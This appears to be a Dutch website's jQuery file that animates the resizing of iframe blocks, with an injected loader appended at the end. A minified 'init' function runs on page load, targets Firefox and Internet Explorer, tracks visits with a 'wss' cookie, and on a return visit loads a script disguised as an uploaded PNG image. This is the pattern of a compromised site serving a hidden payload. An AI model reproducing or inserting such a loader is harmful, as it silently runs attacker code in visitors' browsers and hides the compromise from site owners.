/****************************************
(c) 2010 Niels Kim
Lay-out: Jeukbonkel
Bestand: functies.js
****************************************/

$(document).ready(function() {
	/*$('.blok_middel').hover(
		function() {
			$(this).find('.overlay').css('display', 'block');
			$(this).find('iframe').css('visibility', 'hidden');
		},
		function() {
			$(this).find('.overlay').css('display', 'none');
			$(this).find('iframe').css('visibility', 'visible');
		}
	);*/

	/* Blokken vergroten */
	$('.resize_vergroot').click(function() {
		$(this).parent('.resize').find('.resize_vergroot').hide();
		$(this).parent('.resize').find('.resize_verklein').show();

		$(this).parents('.blok').animate({
			width: '840px',
			height: '490px'
		}, 1200);
		$(this).parents('.blok').find('iframe').animate({
			width: '800px',
			height: '450px',
		}, 1200);
	});
	/* Eind blokken vergroten */
	
	/* Groottes herstellen */
	$('.resize_verklein').click(function() {
		$(this).parent('.resize').find('.resize_vergroot').show();
		$(this).parent('.resize').find('.resize_verklein').hide();

		$(this).parents('.blok_middel').animate({
			width: '410px',
			height: '280px'
		}, 1200);
		$(this).parents('.blok_middel').find('iframe').animate({
			width: '370px',
			height: '240px'
		}, 1200);

		$(this).parents('.blok_klein').animate({
			width: '195px',
			height: '130px'
		}, 1200);
		$(this).parents('.blok_klein').find('iframe').animate({
			width: '155px',
			height: '90px'
		}, 1200);
	});
	/* Eind groottes herstellen */
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/admin/uploads/files/kinky-valentijn-1.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
